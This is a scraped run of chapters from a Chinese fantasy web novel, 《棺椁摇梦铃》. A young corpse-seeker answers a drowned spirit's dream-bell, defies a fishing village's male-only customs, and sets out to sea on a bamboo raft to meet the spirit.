就在三枚开啃第十盘大肉饼的时候,裴元终于忍无可忍,“你就不能上桌吃吗?” 非得可怜兮兮缩在门边,狼吞虎咽全不顾形象,真跟桥底那些个流民乞丐没甚两样! 换了一身干净整洁的衣裳,却蹲在角落里吃 10. 第10章 《棺椁摇梦铃》全本免费阅读 “我们山门一脉,隐于湖州某处断崖绝壁之上,居所是一口石凿的巨型棺椁,棺椁上方,挂着一只硕大的红灯笼。” 就在这红色的灯笼之上,又挂着一只五色的“彩凤”,不管是凤身还是凤尾,都披满了绣金丝绒的红绸缎,那绸缎如丝似纱,底下呢,还缀着一串铜铃。 三枚浅浅啜了一口清茶,“那串铜铃,便是我序家的寻尸铃。” 铃响,便代表有某个亡灵,入了山门门人的梦境,在摇铃请托。 “三个月前,‘彩凤’下的铜铃,疯响个不停。” 放下茶杯,三枚一手托腮,目不转睛盯着陆衎那双骨节分明的手给自己续完茶,接着才道:“我的梦铃,时隔两年,被敲响了。” 铃铛叮铃,像是一个信号,将三枚的意识从深眠中一点一点唤醒。 沉重的眼皮没法睁开,她的世界依旧一片浑浊黑暗,直觉却告诉三枚,幻梦的地点,发生在深海。 深海巨浪汹涌,来势迅猛,直将她往更深的海底冲撞。 于恐水之人而言,这无疑是一场巨大的灾难。 三枚全身的感官刹那被无限放大。 冰冷的海水,黏腻的触觉,水呛进鼻腔、喉咙里的刺疼,耳朵里深沉的轰鸣声,以及五脏六腑被推挤碾碎的剧痛,和仿佛陷入黑暗深渊的无力感,一股脑向她压迫而来。 三枚的意识十分清醒,非常深刻地感受着发生在自己身上的一切,内心却异常平静。 因为她知道,这一切,不过是一场梦而已。 一场来自异世之界,心有执怨的冤魂,冲破阴阳壁垒,向她摇铃请托的幻梦。 说是幻梦,但三枚身上感知到的所有痛楚,都是真实存在的。 而且若是她一直没有作出反应的话,梦铃最后便无法被摇响,请不成愿的鬼魂,很可能因此弥留人间,为祸一方。 缘是这些前来请托的,一般都是些心有执怨的冤魂,更何况此番发出请愿的,是来自无底归墟的怨灵。 三枚是个随性宽和的人,不管是被迫通灵,还是寻尸化怨的时候,从来不曾抱怨过一句,但—— “飘啊,我恐水的呀......”紧闭双眼的三枚在心里无奈一叹,她的眼球一直在充血,胀痛得很。 “你都已经死了,要诉说冤屈什么的,也不急这一时半会的,好歹先把我冲上岸,让我睁睁眼再说吧?” 回应三枚的是杂乱刺耳的尖叫,思忖片刻,她将指腹抵住腕上的铢钱,紧闭的双眸猛然睁开,一下子就对上了一张诡异的鬼脸。 寻尸化怨多年,见识过异世各种冤魂野鬼的三枚,还是第一次遇见这种在断臂掌心长出鬼脸的亡灵。 眼前的鬼脸狰狞恐怖,双目猩红,嘴巴一张一合,像是在竭力朝三枚嘶吼着什么,一遍又一遍。 可三枚却什么都听不见,只能紧盯着它的口型解读。 “大人,求您......” 然而人眼受到水流刺激,她的的眼睛又本能地闭了起来。 梦铃,就在这一睁一闭的瞬间,响了起来。 “铃铃啷啷,叮叮当当......” 不管是海浪汹涌喧嚣,还是怪异的尖叫响动,随着铃响,骤然如潮退般快速消散。 顷刻间,三枚的耳边就剩金属激烈地互相撞击的声音。 “呵!原是归墟来的,”她不禁轻笑一声,“怨气就是重啊......” “罢了,我便听听,到底是什么缘由,令你如此执怨不休。” 轻轻晃了晃缠在腕上的五铢钱,三枚给异世那端的亡灵,作出了明确的回应。 几乎就在瞬间,金属的撞击声变得尤其猛烈,像是情绪忽然激动起来,疯了一般开始嘶鸣。 三枚唇线微扬,开始沉心静气,慢慢将自己的思维发散出去。 然而山门一脉的寻尸人,从未在幻梦里接受过深海里的怨灵,所以她此刻的处境,着实不太乐观。 深海压迫之下,三枚的呼吸逐渐衰竭,口鼻里瞬间充斥着血腥气,一时有些头昏脑涨了起来。 ——“山门家主双腿已废多年,膝下无子后继无人,今朝寻尸五门祭典大会,竟是没落至携一幼女出席,难不成是不想交出铢钱之印,妄想传继给你一介女流?” ——“奉劝你一句,寻尸化怨可不是那么容易的,单是第一关怨鬼摇铃,就能把你吓得屁滚尿流、姑爹喊娘!” ——“寻尸化怨?你连通灵都做不了。至少在海里,你就一定做不到!” ——“山门,一辈子都将屈居在我海门之下!” 不知怎的,三枚忽而想起多年前自己在古寨里被堵住前路,海门竖子涂远东带头朝自己大放厥词的画面。 自己当时是怎么作出反击的呢? 好像是特别云淡风轻地反问了一句,“不试上一试,怎么就知道不行呢?” 明明自己心里气得要死,但见对方整个暴跳如雷的滑稽模样,三枚漾在唇边的笑意越来越深。 “搞不好到最后,还得求我出山,给你们几个不学无术的混子收拾烂摊子呢。” 果然一语成谶,海门的异客,竟然误入了她山门的幻梦,而且还敲响了她的音铃。 儿时的意气突然自心头汹涌而出,“既如此,那就让我会会你这来自无底之谷的异客!” 鼻孔一阵暖流溢出,明知七窍出血的严重性,三枚仍然淡然自若,因她此刻下定主意,打算不顾一切,准备强行通灵,试上它一试。 将五铢钱完全握在掌心,正欲睁眼,“来——” “咯咯哒!” 一声尖锐的打鸣声,自头顶乍然响起,强行打断了三枚的动作,甚至也阻断了疯响的梦铃。 耳边的金属叩击声戛然而止,取而代之的,是呼啸的飓风和惊涛骇浪的轰鸣声,杂乱的喧嚣重又席卷而来。 刺耳的鸡鸣声仍在嚎啼,像是与幻梦在进行激烈对抗。 被夹在中间的三枚,左右好似都受了当头一棒,在深海幻梦和真实世界的极限拉扯下,意识逐渐模糊。 浑浑噩噩间,耳边兀然响起一段对话。 “不愧是大理寺陆衎陆少卿,才两天的功夫就找到新的线索,连带着身边的猎犬都如此厉害,居然从土里刨出了失踪少女当天挎着的竹篮!” “是啊是啊,真是令人钦佩!就是可惜了,我一见陆少卿就浑身冒冷汗,大人看起来太过生人勿近了些。” “哎哟,怎么又开始下雨了,连着下了两个月的雨水,还有完没完,真是......” 听到一半,三枚的耳膜感到一阵强烈的压迫,嗡鸣不断,身体蓦然痉挛抽搐,呼吸也变得越来越困难。 她忍不住张开嘴巴,喉咙却像是被什么东西堵住,一口气愣是提不上来。 “赫!” 突然,她的呼吸一滞,心脏骤然停止,彻底昏迷了过去。 “咯咯哒!” 拍窗一声响,额间一阵刺痛,差点被憋死的三枚,忽而一个鲤鱼打挺,腾的一下从床上坐了起来。 她满鬓汗湿,神思有一瞬的恍惚,抬眸扫了眼安置于床脚的木箱子,揉了揉痛觉未消的额间,余光瞥见鬼祟着跳窗而逃的八耳时,嚯地掀开锦被,跳床便追。 房门甫一打开,猛然灌进一阵冷风,三枚却毫无反应,小野□□耳不见影踪,而她的注意力,也被不远处那串摇个不停却一点声音也没有的铜铃给吸引住了。 棺椁摇梦铃,铃响有客临。 三枚低声喃喃:“还以为走了呢。” 想必床脚锁魂箱里的铜铃,也正摇个不停吧。 ...... 躺在小院摇椅上晒太阳的序莽,闻声转头,就见三枚一脸呆怔的模样。 循着她的目光,序莽的视线也跟着投向矮脖子树上挂着的铜铃,再侧首时,三枚已赤足站在了他的身旁。 “梦铃响了?” 三枚默不作声,安静地蹲下身子,脑袋趴在了摇椅的把手上。 阳光照在人的身上暖洋洋的,她有些困倦地打了个哈欠。 序莽揉了揉她炸成 11. 第 11 章 《棺椁摇梦铃》全本免费阅读 三枚在序莽的殷殷嘱托下,时隔两年,带着八耳,终于再次出山。 一人一鸡一木箱,翻山越岭,穿越丛林荒野,步履不停,终于在半个月后,到了一个平平无奇的小渔村。 —— “锵锵锵!锵锵锵!” 沉浸在午后宁静中的小渔村,突然就热闹了起来。 听着外头敲锣打鼓的吆喝声,大院里补网的女人们,“啪”地一下扔掉手中的渔网,拔腿就往海滩跑。 “回来了,回来了!渔船返还了!” 看着她们一脸的兴高采烈,蹲在角落里的麻脸姑娘嘴角一撇,公鸭嗓哼了一声,“一个个不知道在咋呼个什么劲,都忘了前几次渔船空手而归时的失落难过啦?” 最后一个跨过门槛的小姑娘鱼儿,闻言嚯地旋身,两条马尾辫在空中狠狠一甩,她双手掐腰,指着麻脸姑娘大声道:“云丫你胡说什么!” 云丫并不怕她,头一昂:“难道我说的不对吗?连着两个月了,连条小鱼仔的影都没捞着,海里肯定出了问题!” “我呸!” 鱼儿朝云丫啐了一口,“云丫,你可别忘了,这次领头的可是阿有大爷!” “阿有大爷可是出海的老手,这次渔船绝对满载而归!等我迎了大爷归家,定要狠狠抽你一耳刮子!”鱼儿撂完狠话,转身就跑。 云丫自觉被下了面子,气得将手里的渔网狠狠朝地上一掼,跺了跺脚也跟着往海滩上跑。 “哎,小丫头就是孩子气,幼稚得很。” 大院里的人跑得七七八八,只剩一个中年妇女和三个年轻女孩,还稳稳地坐在原位补着渔网。 那中年妇女是这大院的女主人,也是小渔村村长的妻子窦氏,她无奈地摇了摇头,朝坐在身侧的三枚歉笑道:“让序姑娘见笑了。” 三枚打了个哈欠,摆了摆手:“哪里的话,小孩子就是这样,前一秒互斗狠气,转眼就又好得跟一个人似的。” 窦氏眼睛笑得眯成一条缝,连连点头:“就是就是。” 心里想的却是,序姑娘看着也才刚十四五岁的样子,怎么说话口气一副老气横秋的样子,转念又一想,可能山里的孩子比较成熟吧。 活动了下脖子,窦氏正想低头继续补网,余光瞥见腮帮鼓鼓的小女儿,窦氏逗她:“小花,还气你爹不让跟船呢?” 王小花哼了一声:“凭什么不让我跟,我力气可不比那几个小瘪三弱。” “真是越来越口无遮拦了,说谁小瘪三呢?”窦氏点了点女二的鼻头,“任你力大如牛,又如何?” “出海船只上不能有女子,这是老祖宗定下来的规矩,千百年皆是如此。” “我就想出海捕鱼,我不想补一辈子的渔网,我就想跟爹一样,当领航的渔船老大。” “傻丫头,女人出海可不吉利,是会触犯神明的。再说了,自古渔人皆为男子,女人又哪里受得来那样艰苦的粗重活。” 王小花最厌这套女子不如男的说辞,大声反驳道:“女人都能受得了生孩子的艰苦,出海捕鱼又能难到哪里去!” 窦氏被顶得渐渐火大,“你这妮子,两码事怎么就混作一谈,生孩子是我们女人的......” “忒!” 坐在窦氏身旁的三枚忽然低喝一声,朝地上睡得歪七扭八的八耳踢了一脚,一边伸着懒腰一边起身,似笑非笑地望着窦氏的眼睛,悠悠然道:“无聊无索,我也去凑凑热闹。” 说教被乍然打断,窦氏的脑袋有些发蒙,不觉呆愣了片刻。 眼见一人一鸡晃晃荡荡,快跨过院门的时候,脑中一闪而过藏在床底的那块银锭子,窦氏连忙对着远去的人影大声喊道:“早点回来,晚上给序姑娘整点鱼生尝尝。” 见三枚背着自己挥了挥手,窦氏又无奈摇了摇头:“果然也是个坐不住的孩子。” 她还想说教小女儿几句,转头却见院子里的人都跑得没了影,只剩自己孤零零一个人。 —— 小渔村刚迎回出海归来的渔船,原本兴高采烈守在岸边的人们,觑见渔船上一水的大黑脸,心也跟着往下一沉。 当村长王阿有从船上下来后,说的第一句话就是请老族长的时候,他们就知道,海里定是出事了。 半个时辰后。 岛上几乎所有的成年男丁都一脸凝重地围坐在祠堂里,连带着挤在门口的妇女们,也是面露惨白。 坐拥高位的老族长已年过花甲,脸上的皱纹有如沟壑般纵横深刻,却精神矍铄,双目炯炯。 “说吧,发生了什么事?” 王阿有跟身后的栓子对视一眼,缓缓开口道:“两日前,我们的渔船刚到达远海,开始进行捕捞......” —— 湛蓝无边的大海里,飘荡着几艘渔船,随着波浪起起伏伏,船上的渔民个个一脸严峻,眉头紧蹙。 原因无他,出海十天,渔船日日遭遇狂风暴雨一无所获,好不容易熬到天气初晴,结果收网的时候却捞到了孤零零的一截断臂。 茫茫大海,诡异莫测,什么事情都有可能发生。 对于风里来浪里去的渔民们来说,大海之中,遇见浮尸,也不是什么稀罕的怪事。 但他们此行一无所获,属于徒劳往返,再看渔网里被海水泡胀得惨白的断臂,想到它的主人很有可能就是这一带的渔民,不免都有些物伤其类,心有戚戚焉。 王阿有不仅是一村之长,更是这群渔人里的老大,他的声音沉重,下了定论:“船靠岸的时候,找个地方埋了吧,也算是给它的主人,有个交代了。” 有个胆子大的年轻渔人走了过去,拆开渔网,正想把那只断臂拿出来,甫一靠近,突然看见那截断臂,竟然蠕动了起来。 他吓得连连倒退,大叫道:“啊!它在动!” 众人闻言,低头看去,赫然发现断臂之下的手掌五指,居然弯曲成鹰爪状,一伸一曲,对着虚空抓挠了起来。 手长在人的身上,怎么伸曲抓挠都好说,但眼前的这一截断臂,已是离了人的躯体,在海里不知泡了多久,眼下还能独自活动,这就有点过于恐怖了! 最靠近断臂的另一个渔人被吓得倒抽一口凉气,看它对着自己张牙舞爪伸手过来的动作,本能反应抬脚就是一踢。 那一脚力气极大,将断臂踢得接连翻滚,“砰”的一声撞到围板上,又“咚”的一下落回船板。 然而,更令人毛骨悚然的事情发生了。 躺在船板上的断臂,正好掌心朝上,只见它猛然一握拳,刹那间风云突变,黑暗自头顶倾压下来,海浪翻腾猛烈,渔船被汹涌的浪潮冲撞得左摇右摆。 第一次跟船的年轻人没有经验,猝不及防被晃荡得踉踉跄跄,瞬间跌坐一团,嘴里还嚎叫个不停。 正在所有人都感到惊惧不安的时候,天空乍然响起一阵电闪雷鸣,有个视线一直紧盯着断臂的渔人,蓦然惊愕地瞪大双眼,大吼一声:“啊,它、它站起来了!” “咔嚓!” 又一道闪电划过天际,不知何时竖立起来的断臂,掌心骤然大张,离它最近的渔民霍然发现,那断臂的手心里,竟眼耳口鼻俱全,定睛一看,俨然一张微缩的人脸。 人脸上的表情还挺丰富多彩,它对着那几个被自己吓得面色惨白的年轻人,又是努嘴又是皱鼻,时不时还瞪眼唬人。 好在那张嘴能开能闭,却是发不出声音,否则真能将人吓死。 “咔嚓!” 雷声隆隆,震得人耳膜生疼。 此时,断臂突然飞跃而起,就在所有人都以为它接下来会像志怪传言的怪物那般,血口大张,将他们连船带人一并吞吃入腹的时候,它却掌心向后一转,“扑通”一声,重新跳进了海里。 它一开始先是浮在水面上,飘出去数十米远后,才被海浪淹没沉入水底。 随之惊雷退却,黑云压顶的天空骤然明朗,一望无际的湛蓝海域,也在一瞬间就恢复了风平浪静。 渔民们却被那奇幻场景震慑住了,他们目光呆滞,半晌后才似如梦初醒,忍不住头皮发麻,遍体身寒。 站在王阿有身边的栓子粗眉紧皱,不安地道:“老大,这是......” 见惯风浪的王阿有 12. 第 12 章 《棺椁摇梦铃》全本免费阅读 “女娃娃又如何!” 鱼儿双手叉腰,气得脸颊鼓鼓,“二毛,别忘了,生下你们男娃的,可都是女人!” 被指着鼻子臭骂的二毛,一脸莫名其妙地挠头,“我也没说什么啊,就是觉得当时船上那般惊悚的场面,你们女娃子见了肯定要怕得哇吱乱叫。” 和二毛一起的几个愣头青,正是渔船上被那断臂吓得抱作一团的年轻渔人。 头次跟船出海就遇上了海中异客,回来后虽犹有余悸,但被一群小伙伴们众星捧月般簇拥着问东问西时,他们心中又不免感到沾沾自得,一时忘形便开始自我膨胀。 眼见好兄弟二毛受了委屈,立马有人挺身而出,“是啊,你们是不知道,当时的情况有多凶险,说出来都怕吓着你们!” 其中有个小胖子夸张地挥着手臂比划,“这么长一截断臂,不知道在海里泡了多长的时间,外头的皮肤完全脱落,烂得软塌塌,惨白惨白的,看着就瘆人。” “根本就没眼看!可我们哥几个是一点没犯怵,二毛尤其勇敢,第一个上手拆渔网,刚要将断臂拿出来,结果它竟然动了......” “......大工不愧是咱们兄弟几个脚最快的,啪嚓一脚就将那断臂给踢飞了去,大工你来——”小胖子正想呼引伙伴出来表演一下,结果没找到人,挠了挠头,“算了,还是说回那异客吧。” “你们是不知道,好家伙啊,它的掌心甚至还长了一张小脸,一边我们龇牙咧嘴,一边呼风唤雨......” 小胖子绘声绘色地讲述着渔船上的惊险奇遇,唬得在场所有人都一愣一愣的,连鱼儿这样的小钢炮,都被他的故事给吸住了全部心神。 人群里忽而响起一道懒洋洋的声音:“你手,碰到那断臂了?” 肩膀被人从后头拍了一下,二毛吓了一跳,转头见是一个陌生姑娘来搭话,黑黝黝的方脸霎时浮上两团红晕,他正想回答,身边的鱼儿猛然一声大喝。 “云丫,你这个乌鸦嘴!看见渔船又是空载而归,你是不是就高兴了,什么好事都让你唱衰了!” 看见不远处心事重重的云丫,鱼儿先发制人把人喝住,接着一把撸起袖子,“今儿我定要抽烂你的大嘴巴,看你下次还敢不敢来乱说话!” 云丫刚从人群里挤出来,猝不及防被吓了一跳,循声望去,就见鱼儿一副凶神恶煞的模样。 翻了个白眼,她一脸的不以为意,余光扫到站在鱼儿身后的三枚,她的眼睛陡然一亮,“哈”了一声,转头对着祠堂门口挤挤挨挨的人群大喊:“翠花婶子!” “呔!” 气势汹汹的鱼儿闻言,一脸的气急败坏,“咱俩掐架,你喊我娘作甚!” 云丫并不理她,双手放在嘴边作呼喊状:“那个姓序的山里人来啦!” —— 鱼儿神情微妙,望着三枚不疾不徐抬脚跨过祠堂门槛的背影,心底莫名涌上一股难言的酸涩。 “咱们小渔村近百年来,允许进入祠堂的女性,除了老太君,她是第二个。” 同样一脸复杂的云丫,语气不善,“还是个外人。” 听了她的话,鱼儿低头看了看几步前那三寸六分的过门石,再环顾一圈身边的婶娘姐妹们,突然感觉胸腔里有某种不明的情绪,正欲喷涌而出。 “被拦在门外的,全是女人......” ...... 其实三枚并没有被允许进入祠堂,她只是听见好像有人在找自己,又见原本堵得严严实实的人群,“刷”的一下变出了一条五尺宽的通道,就像为了她而专门让开的。 于是她身随心动,在万众瞩目下,走上了那条十来步长的通道。 又在所有人都没有反应过来前,跨过了小渔村只有男人才有资格跨过的高门槛。 最后在所有人都惊愕不已的目光中,名堂正道地进了议事堂。 她的姿态太过坦荡大方,以至于给了人错觉——她的行为是被允许的。 他乱归他乱,不知众人乱作一团的心理活动,三枚自巍然如山,神色自若地开始打量起了堂内环境。 议事堂内光线略显昏暗,在庄重肃穆的气氛中,三枚的目光从左到右逡了一圈,又从左右或站或坐的男人们脸上一一扫过,最后视线落到高坐太师椅的老族长身上。 一老一少,一坐一站,当犀利睿智的老眼,与平和澄净的杏眸对上的瞬间,无声的交锋就此展开。 两人有来有往犹如刀光剑影的气势对决,一时间竟是旗鼓相当、难分胜负。 堂里落针可闻,其他人被老少二人强大的气场压得大气不敢出,俱都屏声静气,心里希望有人能开口打破如此令人窒息的气氛。 良久后,老族长率先耷拉下眼皮,“窦氏道你,自称姓序,从山里来,是吗?” 三枚眉尾一挑,“在下,确乎来自山门序家。” 佝偻的身子往椅背一靠,老族长的声音不怒自威:“就你一个人?” 感受到了他态度里的不以为意,三枚小脑袋歪了歪,双手背到身后,神色自若:“就在下一人。” 老族长左眼眼皮猛然一跳,一阵令人难安的静默过后。 他声音冷沉地道:“山门的,管得了海里的异客?” 三枚不答反问:“何来‘管’字一说?” 扫了眼高悬堂中,刻着“宗功祖德”金光闪闪四字的厚重匾额,她看着一直不拿正眼瞧人的老头儿。 “天地玄黄,宇宙洪荒,这是三岁小儿便懂的道理。” “承蒙神佑眷顾,我们山门序家得有天赋,深知人鬼殊途。之所以走上寻尸化怨之道,也只为尽我所长,将一些游走人间、迷惘不知归途的孤魂野鬼引上正道,让其魂归故里罢了。” 少女声音清脆悦耳,语调徐徐。 老族长却觉得她话中有话,十分刺耳。 脸色骤然一沉,没想到自己试探的一句话,却换来对方阴阳怪气的说教,自三枚无视礼法擅进祠堂而积聚在他胸腔里的怒火。 “小小年纪,竟——” 疾言厉色的呵斥,在望见三枚杏眼里投射出来的真挚诚恳眼神时,戛然而止。 喉头一哽,瞬间意识到自己差点因这小丫头的几句话而失态的老头儿,忽而叹笑一声,暗忖自己果然是老了,堵在心头的气火也跟着叹没了。 老头儿稍一放松,堂内剑拔弩张的气氛也跟着松弛了起来。 他状似不经意地对着王阿有点了点头,尔后疲惫地合上了老眼。 身为村长的王阿有方才开口,“茫茫大海,请问阁下如何寻那异客?” 他也不敢小觑三枚,因而说话时便用上了尊称。 第一次被人称呼为“阁下”的三枚,愣了一瞬,耳朵忍不住动了动,感觉还挺顺耳。 本不欲多言的她压了压嘴角,大方地透了点口风:“它不远千里将我请来,便无需我去寻觅。” 只要自己踏上那片海域,那截断臂自会现身。 此话一处,顿时满堂哗然,原本心里有些排斥警惕的渔民,突然就对三枚肃然起敬了起来。 “那......” 王阿有欲言又止,眼神朝老族长瞟了一眼又一眼,随后才道:“需要我等,做些什么吗?” 三枚只是笑笑,背在身后的手举到腹前,从宽大的长袖里掏出一只破碗,“老人家,应是知道规矩的。” 众人闻言,又不约而同看向老族长。 从刚才开始就一直沉默不语的老族长,闻言也不睁眼,只搭在 13. 第 13 章 《棺椁摇梦铃》全本免费阅读 翌日,傍晚时分。 “我、我没直接碰到那断臂。” 正想回大院拿东西的三枚,突然被二毛挡住了去路。 认了一会儿,她才想起来对方是谁,“嗯。” 二毛脸涨得通红,不住地搓手,“那个,我、大工他......但裹住它的渔网,是我解开的,会不会......” 他话说得断断续续,但三枚却听明白了,慢声回他:“只要不直接接触就没事,况且你算是帮了它。” 心思被看穿的二毛都快成了煮熟的虾子,讪笑一声,“这样啊,那我就放心了,对了大工他......” 三枚却绕过他,径直往前走了。 犹豫了片刻,二毛还是选择追了上去,“我听说你就要出海了?” 三枚转头扫了他一眼,脚步不停,“不行?” 两个字就把二毛问得惊慌失措,手都摇出了残影,“不是不是。” “我、不是这个意思,我是想问问你会行船吗?” 他比手划脚,一脸真诚,“就这样,扬帆起航。” 突然被他眸中陡然迸发的光芒闪到,三枚停下脚步,一手撑着下巴。 “昨天那个小胖子说那断臂龇牙咧嘴十分可怕,你能说说它是怎么龇牙咧嘴的吗?” 不防被问,二毛呆愣了片刻,接着便遍慢慢地回忆起来,他将当时发生的一切从头到尾详细地说了一遍,最后皱眉:“现在想想,也谈不上龇牙咧嘴吧,更像是、捣蛋成功的小孩子,一边得意洋洋,一边挤眉弄眼的调皮样儿。” 果然,跟自己先前所下的残魂判断基本吻合,残魂心智不全,没有恶意,但记仇。 “我知晓了。” 三枚大脑飞速运转,一进大院,便愣住了。 只见大院地上滚着两个姑娘,正在互相扯着头发扭打成一团,窦氏的小女儿王小花就站在边上,一脸愤愤不平,怀里紧紧抱着三枚的木箱子。 正犹豫要不要退出去的时候,跟在三枚身后的二毛猛地越过她,拉住其中一个姑娘,满脸焦急:“云丫,你作甚打鱼儿?快快松手,别把人打坏了。” “啊,二毛你个憨货,放开我!你看清楚是谁打的谁!放手!”被鱼儿扯住头发的云丫气得大吼。 “活该!就该狠狠给你一顿教训!嘴巴不干净,手脚也不干净,偷偷摸摸捣鼓人家序姑娘的箱子做什么?!” 占上风的鱼儿打爽了,将云丫往地上一推,拍拍手转身就走,不期然对上三枚一双扑烁烁的大眼睛,一时竟不知是先挡住乱糟糟的头发,还是捂住自己的灰头土脸,索性一屁股蹲下,脸直接埋在膝盖里。 云丫看见三枚也是一愣,想到刚才王小花说的话,公鸭嗓扯开就嚎:“王小花你胡说!我说了我没有偷东西!我就是、就是觉得那木箱子很奇怪,看看而已......” 虽然都是实话,但她越说越心虚,越说越小声。 自从三枚进了祠堂又全身而退的时候,渔村里的姑娘或多或少都对她产生了好奇。 鱼儿是一个,王小花也是,云丫却将视线放在了三枚的木箱子上。 她从三枚第一次进村,就觉得她背着的木箱子很奇怪。 今日趁着没人,仔细一瞧,发现它确实跟一般的箱子不一样。 木箱子素面无纹,没有任何开口和孔洞,好像就只有六块木板严丝合缝咬合在一起。 看着跟村里赵秀才时常背着的状元箱差不多大小,但三枚却轻得不像话。 她一点力气都不用使,只小手指轻轻一勾,就拿了起来。 没想到还没等自己研究清楚,就被鱼儿和王小花抓了个正着。 “我真没想偷你东西。”她急得眼泪在眼眶里打转。 三枚无甚所谓地点了点头,“嗯,没事。”说完朝王小花伸手。 王小花连忙将怀里的木箱子递给三枚,顺嘴问了一句:“你的鸡呢?” “你说八耳啊,正对着大海警戒呢。” 警戒?就凭一只鸡? 拒绝了好意要为自己拿箱子的二毛,三枚慢条斯理背上木箱子,抬腿就走。 鱼儿和王小花对视一眼,不由自主就跟在了她身后。 二毛和云丫见状,也追了过去。 “你真要出海啊?” 问这话的是窦氏的女儿王小花。 已经不知是第几个人问她这个问题了,不管他们是真好奇还是有其他想法,三枚却总是不厌其烦地回答他们:“嗯。” “他们说海龙王不喜欢女人,会把你连人带船都给掀翻的。”这是身后离几人都有点距离的云丫说的。 三枚声音不疾不徐,“他们是谁?” 鱼儿抢答:“村里的大人。” “哦。” 侧目看了鱼儿一眼,三枚问她:“你呢?也是这样想的?” 鱼儿被问得猝不及防,一时有些答非所问:“他们说女人不能进海......” 说到一半一把捂住自己的嘴巴,接着便都陷入了沉默之中。 “如果你对一个问题没有确定答案,却隐隐感到不适、压迫的时候,不妨先试着否定它,站在绝对的高度俯视它,甚至是审判它。”三枚忽而说道。 “但是请切记,有些事情,当你还没有准备好的时候,那就不要去做。” 心脏猛烈一震,仿佛被人重重锤击了一下,咚咚咚地鼓动着,三枚的话看似没头没尾,王小花和鱼儿的内心却好似受到巨大的冲击。 就连总爱挑刺找茬的云丫听了都心头一颤,内心好似被电流击中一般。 三个性格迥异的小姑娘心潮澎湃,想说点什么却又不知从何说起,只眼神闪闪发光地盯着三枚看。 激动的、炽热的气氛,陡然被二毛一声惊叫打碎。 “怎么是一只竹筏?!渔船呢?” 二毛不可思议地瞪大双眼,“难道村里人就让你撑着这只竹筏出海?不可能吧?!” —— 赤色云霞翻滚天际,将粼粼海面烧得通红一片,冰冷被热烈取代,更显磅礴之势。 海岸边渺无人踪,空荡荡只遗一叶小小竹筏,孤零零被搁置在沙滩上。 仅用十余根粗竹竿编排而成的小竹筏,外观太过粗制滥造,以至于一看就是连夜赶工做出来的。 鱼儿愤然,气得麻花辫一甩一甩,“也太过分了吧!连根竹篙都没留下。” 同样眉头紧蹙的王小花摇头,“便是有竹篙也没用,深海哪里有支点让你借力?只能用手板划,至于把控方向的话,还得靠风帆。” “啧!” 云丫翻了个白眼,标志的公鸭嗓搭配阴阳怪气的腔调,“有点常识好吗?” “竹筏吃水浅,只能在山涧溪流或者平水的区域行驶,出海?” 她十足不屑地哼了一声,“一个小小的海浪就能把你给卷翻了!” 王小花不服气,“这可不一定,我爹曾经就说过,老祖宗以前出海,便是用的竹筏,照样能捕鱼!” “就你这样的,还妄想出海当渔民?省省吧!祖宗志都能跳着读,书里明明白白写了,靠着竹筏出海,至多只能走两节,且必须严选风平浪静的时候。” 不爱读书的王小花一噎,一句都反驳不了。 鱼儿眉头紧皱,看着一浪高过一浪大海,“那这是什么意思?” “老族长和阿有大爷不是言而无信之人,也绝不可能同意他们这么做的。” 王小花一愣:“我爹昨儿傍晚就上镇里纪老姑家去了,说是商量买下她家搁置不用的小船。” “调虎离山!今早老族长带着大工进城寻大夫,估计明儿才能回来。”鱼儿愤愤然说道。 云丫哼了一声,“咱村的老顽固可不止大工太爷一个!” 她踢了踢高高翘起的筏头,“我猜,他们这般看似应付了事的态度,恐怕最主要的目的,还是不让序姑娘进海。” 转身看了三枚一眼,云丫说:“他们想让你知难而退,赌你不敢冒险。” 看不出云丫平时说话不经大脑,又心思深重,却是在场人唯一看透事情本质的人,说的话简直一针见血,直指问题核心。 三枚不禁对她有些刮目相看,点了点头,算是认同了云丫的说辞。 “序、姑娘,要不,我偷偷将我家的渔船开出来?”二毛憋了半天,也只想到这个法子。 看着笼罩在漫天霞光下的少男少女们,三枚眼里闪过一瞬的笑意,“年轻就是好呀。” 没头没尾的一句话,说得鱼儿几个人一头雾水。 三枚稍稍抬脚,一个用力,就将搁浅的竹筏踢进了深水处,才要往上跃,衣袖却被人往后一扯。 她垂眸扫了眼揪住袖口的粗糙小黑手,侧首看向手的主人。 是云丫。 平日里看起来略显刻薄的麻子脸,在火烧云的余晖照耀下,整个人都泛着柔光,她压低声音,意有所指:“你就不怕?” 三枚一愣,一时没有反应过来。 这时海浪翻滚,往滩上拍打而来 14. 第 14 章 《棺椁摇梦铃》全本免费阅读 明月皎皎,海风清凉。 三枚随着轻轻荡漾的波流,在一望无际的漆黑海面上,飘啊飘啊飘。 就在她耐心快要耗尽,开始感到头晕恶心的时候,徐徐前进的竹筏,突然停了下来。 呼呼的风声,哗哗的水流,三枚盘腿坐在竹筏上,视线紧盯漆黑海面上的一汪明月。 风平浪静,竹筏稳稳地停在海面上。 忍着眩晕,长袖轻轻一展,藏在袖中的瓷碗从臂上滑落掌心,碗里盛着一枚沉甸甸的金元宝。 三枚端着瓷碗的手伸长,将碗口朝下,碗里的金元宝似乎粘牢在了碗底,并不受重力的影响向下掉落。 碗沿触及海面之时,隐约响起“噔”的一声,细微又沉闷。 站立在木箱子上的八耳见状,豆豆眼霎时瞪得如刀尖般犀利,振翅一挥,眨眼便落在了三枚的肩上。 像一名出色的站岗士兵,八耳神情警惕,小脑袋顶上的紫色单冠,居然能灵活自由地呈360°旋转。 远处水中明月随着微风徐徐漾起波纹,三枚手中破旧瓷碗的碗口恰好倒扣于海面之上,她的手腕,随着水面起伏的节奏跟着缓缓摇动。 停滞不前的竹筏,向着圆月熠熠生辉的方向,又开始慢慢滑动了起来。 夜风拂过脸庞,穿透云层,穿过海水,带着三枚渐渐靠近静躺着的月亮。 当碗沿随着波动,进入闪着星星点点光圈的范围,腕上蓦然感到一阵阻力,好像将她往外推。 视线始终没有离开天上月亮的倒影,三枚轻微摆动了一下长臂,又圆又亮的海中月,倏尔被搅动了宁静,像受惊的小鹿一样,倏的一下,散成了细碎的片块。 发着暖黄光晕的片块,很快又凝聚成了新的一轮圆月,三枚趁机将瓷碗一倾斜,飞快地舀了一下海水。 碗里的金元宝“咚”的一声沉入了海里,取而代之的,是一碗寒凉却发着光的海水。 仔细一瞧,她竟是将圆月给捞进了碗里。 “咯!” 八耳忽而低叫了一声,在静谧而空旷的海夜里,激起了一声声的回音。 三枚高举手中瓷碗,对着天上镰刀般的弯月轻轻一摇,碗中的圆月蓦然一震,开始晃动不止。 过了好一会儿,才慢慢安静了下来。 